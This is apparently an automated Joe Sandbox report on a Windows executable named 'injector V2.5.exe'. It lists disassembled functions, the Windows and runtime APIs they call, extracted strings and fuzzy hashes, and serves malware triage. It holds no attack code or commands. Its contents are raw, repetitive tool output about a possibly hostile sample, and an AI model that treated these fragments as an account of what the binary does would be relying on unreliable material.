Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c294a3fb0ed31826b1d2ed7067dc4f31dcd60eb2a9748b877af8db3fccaabe4d
Instruction ID: fda560a9801e254daa3b562d67f5843119d9bf34024343f39c50795176f7af62
Opcode Fuzzy Hash: c294a3fb0ed31826b1d2ed7067dc4f31dcd60eb2a9748b877af8db3fccaabe4d
Instruction Fuzzy Hash: A4A15B372047048BC62C8B2D99E563E77C3EBE2320B65869FC8135BBE0DE755E45A643

Function 00B34910 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fd248431f2ce0840055f3601d2b5564f56b21af9cd763f98ca1cdd83a024352
Instruction ID: 62eac3744f8ceee564bab7d388e29c8ab2510ae8f244ea029fbeb3679a6b8158
Opcode Fuzzy Hash: 6fd248431f2ce0840055f3601d2b5564f56b21af9cd763f98ca1cdd83a024352
Instruction Fuzzy Hash: C2711A3E2153044F4A288A38ADC877EB6D2DFA5324FB987D2D552CB3E5DB21EC458742

Function 00B2A2F2 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 163fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 00B2A96A

Strings

x", xrefs: 00B2C4EA
U<_k, xrefs: 00B2A30A
A\, xrefs: 00B2ADC4
A\, xrefs: 00B2B85B
A\, xrefs: 00B2B86D
"!-, xrefs: 00B2B880
"!-, xrefs: 00B2B872
x", xrefs: 00B2C4DC

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: CreateFile
String ID: A\$A\$A\$U<_k$x"$x"$"!-$"!-
API String ID: 823142352-2094675021
Opcode ID: 049ff094814aca753249a77081175a83616643452ee4579a5cc07c0a60e2bc5d
Instruction ID: e3adb2db089bcfdc2e4f8546a815f12d71891e9d36c909b64975bfbaf9529022
Opcode Fuzzy Hash: 049ff094814aca753249a77081175a83616643452ee4579a5cc07c0a60e2bc5d
Instruction Fuzzy Hash: 1251E4322443648BCE2C9A2878E963D62C3ABE6331F3592DBE51F9B6F5CB644C815507

Function 00B525C3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00B526E2
___TypeMatch.LIBVCRUNTIME ref: 00B527F0
CatchIt.LIBVCRUNTIME ref: 00B52841
_UnwindNestedFrames.LIBCMT ref: 00B52942
CallUnexpected.LIBVCRUNTIME ref: 00B5295D

Strings

csm, xrefs: 00B52719
csm, xrefs: 00B52600
csm, xrefs: 00B5266D

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: 2bdcb8ccc59f528826b422666d78671f02c3ac73dba88527aef0c7ace8a97b52
Instruction ID: 45a4c17138b49329cb54cc857b4d2e34239410fffe1e70bf8a685df44acc8902
Opcode Fuzzy Hash: 2bdcb8ccc59f528826b422666d78671f02c3ac73dba88527aef0c7ace8a97b52
Instruction Fuzzy Hash: 2FB138318022099FCF19DFA4C881AAEBBF5FF19316F1441E9EC116B212D731EA59DB91

Function 00B53F46 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(033219F8,033219F8,00000000,7FFFFFFF,?,00B53F31,033219F8,033219F8,00000000,033219F8,?,?,?,?,033219F8,00000000), ref: 00B53FEC
__alloca_probe_16.LIBCMT ref: 00B540A7
__alloca_probe_16.LIBCMT ref: 00B54136
__freea.LIBCMT ref: 00B54181
__freea.LIBCMT ref: 00B54187
__freea.LIBCMT ref: 00B541BD
__freea.LIBCMT ref: 00B541C3
__freea.LIBCMT ref: 00B541D3

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 0447742c2b698f47873432dcdd49fc57277fe89d1e32482df5cfc4ebc8661ca4
Instruction ID: ef56e744ecc62a0cdb393fb7d56e5de3f10b317e78d9dbf0201db979e886ab86
Opcode Fuzzy Hash: 0447742c2b698f47873432dcdd49fc57277fe89d1e32482df5cfc4ebc8661ca4
Instruction Fuzzy Hash: B47101729007056ADF219F648C81BAE7BFAEF5531AF2800D9ED14B7281D731DDC887A1

Function 00B448F0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 243COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00B44997

Strings

(^Hx, xrefs: 00B44A8B
(^Hx, xrefs: 00B44AB7
(^Hx, xrefs: 00B44AAC

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: ___std_exception_copy
String ID: (^Hx$(^Hx$(^Hx
API String ID: 2659868963-1348055467
Opcode ID: e7ab19fc00a675cc0460a21f5787312162d33fd94931c8af76f0f6e8addad2a7
Instruction ID: 6f58e69f9acafb190962dc9b945ee23934eec273c76a039be9a21e7f5379995f
Opcode Fuzzy Hash: e7ab19fc00a675cc0460a21f5787312162d33fd94931c8af76f0f6e8addad2a7
Instruction Fuzzy Hash: 24811B362043005F8B24DA29A9C833E72D1E798321F7C8AD5E5A1CB7E1EF75CA54B742

Function 00B49E40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00B49E77
___except_validate_context_record.LIBVCRUNTIME ref: 00B49E7F
_ValidateLocalCookies.LIBCMT ref: 00B49F08
__IsNonwritableInCurrentImage.LIBCMT ref: 00B49F33
_ValidateLocalCookies.LIBCMT ref: 00B49F88

Strings

csm, xrefs: 00B49F1D

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 24e524fd0fb79f98a9658a351eb220649c5f459267e1c9b79e84e700a247911c
Instruction ID: c778cff382c8a130e6a90332a1503ec3ce4e834225436c6d2fe64578e38955a9
Opcode Fuzzy Hash: 24e524fd0fb79f98a9658a351eb220649c5f459267e1c9b79e84e700a247911c
Instruction Fuzzy Hash: 0041A334A002199BCF10DF68D881A9FBBE5EF45324F1481D5E8189B392E731EF19DB91

Function 00B4C89A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,0B27884D,?,00B4C9A9,?,00B2782F,00000000,00000000), ref: 00B4C95B

Strings

api-ms-, xrefs: 00B4C8F1
ext-ms-, xrefs: 00B4C905

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 480a960c1a1e2f9d003609983796ca108e9d7d45f0b39af801e2731a75a18c06
Instruction ID: e78ad31aadc7077bf82e3991a8323a17f6b405207be3a1e0dd368f393e601a96
Opcode Fuzzy Hash: 480a960c1a1e2f9d003609983796ca108e9d7d45f0b39af801e2731a75a18c06
Instruction Fuzzy Hash: B021D531A06311BBD7629F68DC80B5A3FE9EB45BA1F1405E0E815A7291DB30EF00E6D1

Function 00B4C13E Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B4C135,00B49C1D,00B49814), ref: 00B4C14C
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B4C15A
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B4C173
SetLastError.KERNEL32(00000000,00B4C135,00B49C1D,00B49814), ref: 00B4C1C5

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 07b574f77fe556f80a5baffd7ea9088b712c2522c6bfe9513aeb4b0484c9e705
Instruction ID: b2520602d1ed2a7e875443044bea62556673610a05484073213e86828acfb73e
Opcode Fuzzy Hash: 07b574f77fe556f80a5baffd7ea9088b712c2522c6bfe9513aeb4b0484c9e705
Instruction Fuzzy Hash: D701D83210A7116DB66527B56CC5F263FD4CB11F7B72003FAF524660E2EE514D057594

Function 00B4FAB4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\injector V2.5.exe, xrefs: 00B4FAD0

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\injector V2.5.exe
API String ID: 0-3924246060
Opcode ID: 9b523ce69885e20e55402e50f1e1b981a05652e91e36661555709c9526c99c54
Instruction ID: be1db36567d3007cda6b4feda3c6a409c000ac073bafaa49c81cf6002918b56e
Opcode Fuzzy Hash: 9b523ce69885e20e55402e50f1e1b981a05652e91e36661555709c9526c99c54
Instruction Fuzzy Hash: D5216A71600217AF9F20AFB5CCA1D7BB7E9EF0136471185B5F86997251DB30EE00ABA1

Function 00B4A925 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,0B27884D,?,?,00000000,00B563AE,000000FF,?,00B4A9E6,?,?,00B4AA82,788496A7), ref: 00B4A95A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B4A96C
FreeLibrary.KERNEL32(00000000,?,00000000,00B563AE,000000FF,?,00B4A9E6,?,?,00B4AA82,788496A7), ref: 00B4A98E

Strings

CorExitProcess, xrefs: 00B4A964
mscoree.dll, xrefs: 00B4A953

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2f298a5ae5b9a4433df680da809e6894f8bb14610e5485a68d845eabd7adc129
Instruction ID: 24203e575b2ee8810862d8aabf323c60fa59f5a16aed9dcb0b7edf1ccdef18fd
Opcode Fuzzy Hash: 2f298a5ae5b9a4433df680da809e6894f8bb14610e5485a68d845eabd7adc129
Instruction Fuzzy Hash: 5301A271950719AFDB128F54DC09BAEBBF8FB44B16F0402A9E811A36E0EB749904CA90

Function 00B529E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00B528EE,?,?,00000000,00000000,00000000,?), ref: 00B52A0D
CatchIt.LIBVCRUNTIME ref: 00B52AF3

Strings

RCC, xrefs: 00B52A27
MOC, xrefs: 00B52A1F

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: b6e4811d408807bed3f8830c7fec5037f6a5ed9b320c6411333118b744deacbc
Instruction ID: e7116953e758f5c15904211e6723982d2739256a9870b911120c3226cebb4c9b
Opcode Fuzzy Hash: b6e4811d408807bed3f8830c7fec5037f6a5ed9b320c6411333118b744deacbc
Instruction Fuzzy Hash: 9F414671A01209AFDF25CF98C981AAEBBF5FF09305F1880D9FA0467222E3359A55DB50

Function 00B50C22 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(788496A7,00000000,00000800,?,00B50CBE,?,?,?,?,?,?,00B50B06,00000000,FlsAlloc,00B58060,00B58068), ref: 00B50C2F
GetLastError.KERNEL32(?,00B50CBE,?,?,?,?,?,?,00B50B06,00000000,FlsAlloc,00B58060,00B58068,?,?,00B4C0EC), ref: 00B50C39
LoadLibraryExW.KERNEL32(788496A7,00000000,00000000,?,788496A7,?,?,?,?,00B4BD8C,?,?,00B33046,?,00000000,788496A7), ref: 00B50C61

Strings

api-ms-, xrefs: 00B50C46

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 0c7c7178fa36047d768fd465e6ab4c591f52bdd8015f917f024d956a15e0a438
Instruction ID: e7ef1ec7c678c422d43911c49b3d9fb70e400363d08cc35714257f308a0f70a9
Opcode Fuzzy Hash: 0c7c7178fa36047d768fd465e6ab4c591f52bdd8015f917f024d956a15e0a438
Instruction Fuzzy Hash: 3FE01A30680308BAEA212BA5ED46B1A3F9AEB01B42F1040E0FD0CAC0A1EBA299559584

Function 00B5157F Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0B27884D,00000000,00000000,?), ref: 00B515E2

Part of subcall function 00B5010E: WideCharToMultiByte.KERNEL32(?,00000000,00B33046,00000000,00000000,00000000,000000FF,?,?,00000000,00B33046,?,00B4C071,?,00000000,?), ref: 00B5016F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B51834
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00B5187A
GetLastError.KERNEL32 ref: 00B5191D

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: de704682eceb4e38c3b5f09b3cb75fcadd36038b260da3f42776c48b5b55cb81
Instruction ID: d76d7660a7a8e0b50ab572c5f483a359158408b4c544443337649b5db093b239
Opcode Fuzzy Hash: de704682eceb4e38c3b5f09b3cb75fcadd36038b260da3f42776c48b5b55cb81
Instruction Fuzzy Hash: D7D16BB5D002489FDB15CFA8D880BEDBBF5EF09311F2849AAE865EB251D730A945CB50

Function 00B523EC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00B524B3
___AdjustPointer.LIBCMT ref: 00B524D6
___AdjustPointer.LIBCMT ref: 00B52572

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: c3883cfc76eef90477dc86f80c3d5233577d1adf882329254f29412588d35ced
Instruction ID: 011f415e91e5e5b69ac81c9ec62745c7eed27363568d33de7b20805fe90502ee
Opcode Fuzzy Hash: c3883cfc76eef90477dc86f80c3d5233577d1adf882329254f29412588d35ced
Instruction Fuzzy Hash: 3E511372A022029FDB2A8F14E891B7AB7E4FF16312F1444EDED05972A1E731ED49D790

Function 00B4F50E Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00B5010E: WideCharToMultiByte.KERNEL32(?,00000000,00B33046,00000000,00000000,00000000,000000FF,?,?,00000000,00B33046,?,00B4C071,?,00000000,?), ref: 00B5016F

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,00B4F8B4,?,?,?,00000000), ref: 00B4F572
__dosmaperr.LIBCMT ref: 00B4F579
GetLastError.KERNEL32(00000000,00B4F8B4,?,?,00000000,?,?,?,00000000,00000000,?,00B4F8B4,?,?,?,00000000), ref: 00B4F5B3
__dosmaperr.LIBCMT ref: 00B4F5BA

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 0ce96eb5ecaf084e1ed619947cbce0cc5f82e3837bb8527f9f94e519a23b3e7f
Instruction ID: 76521a857f5b0832f7d109ff8ab0f8d3037f6269f7ac3451eb492d8c058b6502
Opcode Fuzzy Hash: 0ce96eb5ecaf084e1ed619947cbce0cc5f82e3837bb8527f9f94e519a23b3e7f
Instruction Fuzzy Hash: 2321A771600617AFDB10AF658C8197BB7E9FF2436471085B9F86997250DB30EF40ABA1

Function 00B5020A Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00B50212

Part of subcall function 00B5010E: WideCharToMultiByte.KERNEL32(?,00000000,00B33046,00000000,00000000,00000000,000000FF,?,?,00000000,00B33046,?,00B4C071,?,00000000,?), ref: 00B5016F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B5024A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B5026A

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
